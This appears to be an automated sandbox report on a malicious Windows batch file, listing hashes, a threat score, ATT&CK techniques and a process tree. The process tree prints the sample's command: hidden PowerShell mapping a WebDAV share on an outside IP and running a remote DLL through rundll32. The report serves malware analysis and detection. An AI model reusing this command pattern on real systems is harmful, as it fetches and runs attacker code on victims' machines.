38d9b779239cc0ee3343a1edd4805a39c7a7185bf3504fdc00257289929944a4

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 05:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4256287902395816067.bat
Size

2KB
MD5

bbde3515bb313618e18c012b5b7c1162
SHA1

d68daf5a3af585bbad99fb3c1176b2723794d26b
SHA256

781a5d21c20b964661d0f30cada31d4f79b830059fa7dd2ca917e55012acecaa
SHA512

c5d1f8f468a456c17a263ac65e6ab7da3b12fe0f7e6d249e3786b4cdb8723ae144f25b23f8a58d3dcdb8c81d85a49db8e3dce9c80729373922181c0807545bae

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1264	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1264	powershell.exe
1264	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1264	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2596	wordpad.exe
2596	wordpad.exe
2596	wordpad.exe
2596	wordpad.exe
2596	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3736 wrote to memory of 2596	3736	cmd.exe	84
PID 3736 wrote to memory of 2596	3736	cmd.exe	84
PID 3736 wrote to memory of 1264	3736	cmd.exe	86
PID 3736 wrote to memory of 1264	3736	cmd.exe	86
PID 1264 wrote to memory of 3216	1264	powershell.exe	88
PID 1264 wrote to memory of 3216	1264	powershell.exe	88
PID 1264 wrote to memory of 3912	1264	powershell.exe	89
PID 1264 wrote to memory of 3912	1264	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\4256287902395816067.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3736
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1101.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1264
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:3216
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1101.dll,entry
    3⤵
    PID:3912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4easzlg.sfl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1264-0-0x000002136E1C0000-0x000002136E1E2000-memory.dmp

Filesize
136KB

Download